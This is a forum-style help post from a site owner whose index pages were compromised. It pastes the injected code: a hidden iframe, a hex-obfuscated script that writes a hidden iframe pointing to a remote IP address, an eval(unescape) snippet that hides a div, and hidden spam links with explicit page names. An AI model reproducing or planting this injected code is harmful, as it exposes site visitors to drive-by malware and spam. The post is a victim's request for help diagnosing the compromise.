Ticket no: 263064
In the mean time, if anyone know anything:
Got stuff like this in all my index.php/html/whatever:
<div id="divId"><div id="divId"><iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v46dbfb0fe5873(v46dbfb0fe6034){ function v46dbfb0fe680b () {return 16;} return(parseInt(v46dbfb0fe6034,v46dbfb0fe680b()));}function v46dbfb0fe77a9(v46dbfb0fe7f72){ function v46dbfb0fe96e8 () {return 2;} var v46dbfb0fe8747='';for(v46dbfb0fe8f10=0; v46dbfb0fe8f10<v46dbfb0fe7f72.length; v46dbfb0fe8f10+=v46dbfb0fe96e8()){ v46dbfb0fe8747+=(String.fromCharCode(v46dbfb0fe5873(v46dbfb0fe7f72.substr(v46dbfb0fe8f10, v46dbfb0fe96e8()))));}return v46dbfb0fe8747;} document.write(v46dbfb0fe77a9('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D343861207372633D5C27687474703A2F2F35382E36352E3233352E3135332F7E706F7A69746976652F706963732F696E6465782E7068703F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313738363432292B273961366564335C272077696474683D333538206865696768743D343939207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
<a href='http://www.csufresno.edu/DCG/dropbox/1/wife.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/mature.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/petite.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/hardcore.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/anime.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/handjob.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/virgin.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/fisting.html'></a></div>
<script>eval(unescape("%76%61%72%20%64%69%76%45%6c%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%64%69%76%49%64%22%29%3b%64%69%76%45%6c%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%20%3d%22%6e%6f%6e%65%22%3b")); </script>
<a href='http://www.csufresno.edu/DCG/dropbox/1/wife.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/mature.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/petite.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/hardcore.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/anime.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/handjob.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/virgin.html'></a><a href='http://www.csufresno.edu/DCG/dropbox/1/fisting.html'></a></div>
<script>eval(unescape("%76%61%72%20%64%69%76%45%6c%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%64%69%76%49%64%22%29%3b%64%69%76%45%6c%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%20%3d%22%6e%6f%6e%65%22%3b")); </script>
I just got home (did write a letter to support 5 hours ago, and no answer). I did delete some of the code from the main index.php:s, but they came back, which I guess means that there's a program somewhere.
Tried to check the logs, but there a lot of backgroundnoise there from attempted hack attempts that don't succeed. Which means that I haven't found anything yet.
Dilber MC Theme by HarzeM